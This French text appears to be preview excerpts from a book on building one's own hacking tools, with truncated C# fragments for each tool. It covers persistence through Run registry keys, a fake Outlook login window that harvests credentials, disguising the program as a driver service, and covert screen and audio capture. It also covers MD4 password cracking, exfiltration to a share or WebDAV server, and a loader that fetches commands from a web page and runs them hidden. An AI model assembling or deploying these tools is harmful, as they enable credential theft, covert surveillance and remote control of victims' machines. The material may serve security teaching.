Fabriquer ses propres outils de hacking

1. Les moyens classiques

Le démarrage automatique d’une application en modifiant le système avec des droits administrateurs peut se faire de manière classique :

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
 

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
 

HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run...

1. Utiliser un partage comme destination

Si la machine de l’utilisateur est dans le réseau d’où est lancée l’attaque, alors il sera pour nous très simple de récupérer les fichiers. Pour cela, faites un partage de dossier.

Créez un dossier dans le dossier public qui se nomme users.

C:\Users\Public\users
 

2. Configurer un serveur avec WebDAV comme destination

Si la machine n’est pas dans le même réseau, ce qui peut être le cas pour le PC portable d’un commercial qui voyage souvent, nous allons pour cela configurer un serveur web qui pourra fonctionner comme un serveur de fichiers. On pourra y exfiltrer des documents. Nous aurions pu utiliser un serveur FTP, mais ce protocole est très rarement ouvert en sortie sur les pare-feu des entreprises.

1. Principes de base

Nous allons d’abord choisir une application à piéger. Pour la surveiller, nous regarderons la liste des processus. Dès la détection du démarrage de celle-ci, nous l’arrêterons, s’il s’agit d’une application de gestion, car la fenêtre de mot de passe doit être unique. Pour des applications comme pour Outlook ou IE, nous n’avons pas besoin de l’arrêter, il faut au contraire attendre qu’elle ait bien démarré.

Pour surveiller un processus :

Process[] Processus = Process.GetProcessesByName("Outlook"); 
             
if (Processus.Length > 0)
 

Pour stopper un processus :

Processus[0].Kill();
 

Pour récupérer le nom de l’utilisateur et le domaine courant :

Environment.UserName; 
Environment.UserDomainName;
 

La modification de la saisie d’écran se fera avec Paint, jusqu’à obtenir une image exempte d’informations personnelles.

2. Créer l’application pour Outlook

Pour cette application, nous vous conseillons fortement d’utiliser Visual Studio. Nous utiliserons une saisie d’écran de la demande d’authentification d’origine pour la reproduire au mieux. Il sera alors plus simple de gérer la partie graphique avec Visual Studio qu’avec le placement des champs avec le Bloc-notes. Nous vous rappellons qu’il existe une version « express », gratuite téléchargeable sur le site de Microsoft.

FormBorderStyle = None 
Text = Outlook 
BackgrounImage = chemin de votre saisie d'écran
 

Pour ne pas devoir refaire chaque bouton...

1. Principes de base

Nous allons, pour cacher un peu plus l’application dans le gestionnaire des tâches, lui donner un nom et des propriétés. Cela se fait par l’intermédiaire des propriétés de l’application.

Le nom donné ressemble à celui d’un service de driver.

using System.Reflection; 
[assembly:AssemblyTitle("Driver Helper Service, Version 302.57")] 
[assembly:AssemblyVersion("7.17.13.697")] 
[assembly:AssemblyDescription("Driver Helper Service, Version 302.57")] 
[assembly:AssemblyCompany("Global Corporation. All rights reserved.")]
 

Nous...

1. Principes de base

Pour enregistrer l’écran, nous allons utiliser une fonction très simple à mettre en œuvre. Pensez juste à trouver un déclencheur intéressant comme des touches ou un programme exécuté, sans quoi l’espace utilisé par les saisies d’écran va rapidement augmenter.

Le code principal de cette application est le suivant :

g.CopyFromScreen(sc.Bounds.Location, new Point(0, 0), 
sc.Bounds.Size);
 

Il est complété par la gestion de tous les écrans présents, grâce au tableau ci-dessous :

Screen[] ecrans = Screen.AllScreens;
 

2. Créer l’application

Ce code permet la copie de l’écran et l’envoi vers un fichier image. Le code ci-dessous gère les écrans multiples.

using System; 
using System.Collections.Generic; 
using System.Text; 
using System.Drawing.Imaging; 
using System.Drawing; 
using System.Windows.Forms; 
using System.Threading; 
 
namespace PrintScreen 
{ 
    class...

1. Principes de base

Pour enregistrer du son, il existe beaucoup de fonctions dans .NET mais elles nécessitent généralement l’installation d’un SDK. Nous préférons vous donner du code qui se compile sur toutes les machines sans ajout. Nous allons pour cela utiliser la DLL Winm.dll.

[DllImport("winmm.dll", EntryPoint = "mciSendStringA", CharSet = 
CharSet.Ansi, SetLastError = true, ExactSpelling = true)] 
        private static extern int mciSendString(string 
lpstrCommand, string lpstrReturnString, int uReturnLength, 
int hwndCallback); 
 
        [DllImport("winmm.dll", EntryPoint = "waveOutGetVolume")] 
        public static extern void GetWaveVolume(IntPtr 
devicehandle, out int Volume);
 

Cette DLL est très simple à utiliser pour enregistrer du son.

Pour enregistrer le son :

mciSendString("open new Type waveaudio Alias recsound", "", 0, 0); 
mciSendString("record recsound", "", 0, 0);
 

Pour envoyer le tout à un fichier et fermer celui-ci :

mciSendString("save recsound monfichier.wav", ""...

1. Principes de base

Pour cela, nous allons utiliser une bibliothèque .NET gérant MD4, gratuite et téléchargeable sur Internet. .NET ne permet pas de base d’utiliser MD4, Microsoft préférant que les développeurs utilisent MD5 ou les hachages encore plus sécuritaires. Dans un but éducatif, nous nous contenterons de comparer des mots de passe de type numérique allant de 0 à 7 caractères.

Pour comparer notre éventuel mode de passe avec celui du fichier, nous allons transformer celui-ci en Unicode.

byte[] hashunicode = Encoding.Unicode.GetBytes(pass); 
 

Nous allons ensuite le transformer en MD4.

byte[] hash = ComputeMD4(hashunicode);
 

Puis nous transformerons le résultat en hexadécimal pour le comparer au mot de passe issu de l’extraction.

string txtmd4 = ""; 
            foreach (byte b in hash) 
            { 
                txtmd4 += b.ToString("X"); 
            }
 

Nous utiliserons une fonction qui n’est disponible qu’à partir du framework 4. Celle-ci permet de faire des boucles en utilisant le parallélisme, donc de résoudre normalement notre mot de passe plus vite.

Parallel.For(0, 9999999...

1. Principes de base

Nous allons utiliser un objet WebClient pour ouvrir le fichier sans le télécharger.

WebClient pageWeb = new WebClient(); 
Stream flux = pageWeb.OpenRead(chemin); 
StreamReader contenu = new StreamReader(flux);
 

La première ligne est la commande, la deuxième ligne comporte les paramètres et la troisième indique si l’application doit être visible ou non pour l’utilisateur.

      string command, param = ""; 
      bool EstVisible = false; 
      command = contenu.ReadLine(); 
      try{ param = contenu.ReadLine(); } catch { } 
      try { EstVisible = bool.Parse(contenu.ReadLine()); } catch { }
 

Le fichier de commande est un simple fichier de texte, chargé sur un site web à une adresse fixe et ayant toujours le même nom. La variable Contenu est la page web qui est lue. Il est possible de lire une page plus...

1. Principe de base

Commençons par l’application. La partie de code importante est la suivante, le reste du code ressemble aux exemples déjà proposés :

try 
            { 
                String Command = Environment.CommandLine; 
                String[] arguments = Command.Split('='); 
                String ProcessArgs = ""; 
                Process p = new Process(); 
                p.StartInfo.FileName = arguments[1]; 
                if (arguments[2].Length > 2) 
                    p.StartInfo.Arguments = arguments[2]; 
          ...

1. Principes de base

Nous allons créer un service Windows qui s’exécutera avec les droits système qui seront chargés de modifier le PIN à la place de l’utilisateur. Et nous allons faire une application où l’utilisateur peut entrer un code PIN et l’envoyer au service.

Pour créer un service, notre classe doit hériter de ServiceBase.

public partial class Service1 : ServiceBase
 

Les fonctions principales obligatoires appelées par le système sont Start et Stop :

protected override void OnStart(string[] args) 
        { 
        } 
 
protected override void OnStop() 
        { 
        }
 

Pour la communication entre le service et l’application utilisateur, nous utiliserons les Named Pipes, ce qui veut dire que nous communiquerons entre les deux processus en utilisant la mémoire du système, un moyen simple, rapide et efficace.

Vous trouverez des informations à ce sujet sur le site Microsoft suivant : http://msdn.microsoft.com/en-us/library/bb546085.aspx

Le service doit écouter et attendre qu’on lui envoie un nouveau code PIN.

NamedPipeServerStream Ecoute = new 
NamedPipeServerStream("\\\\.\\pipe\\PinSetting", 
System.IO.Pipes.PipeDirection.InOut,2); 
            StreamReader lecteur = new StreamReader(Ecoute); ...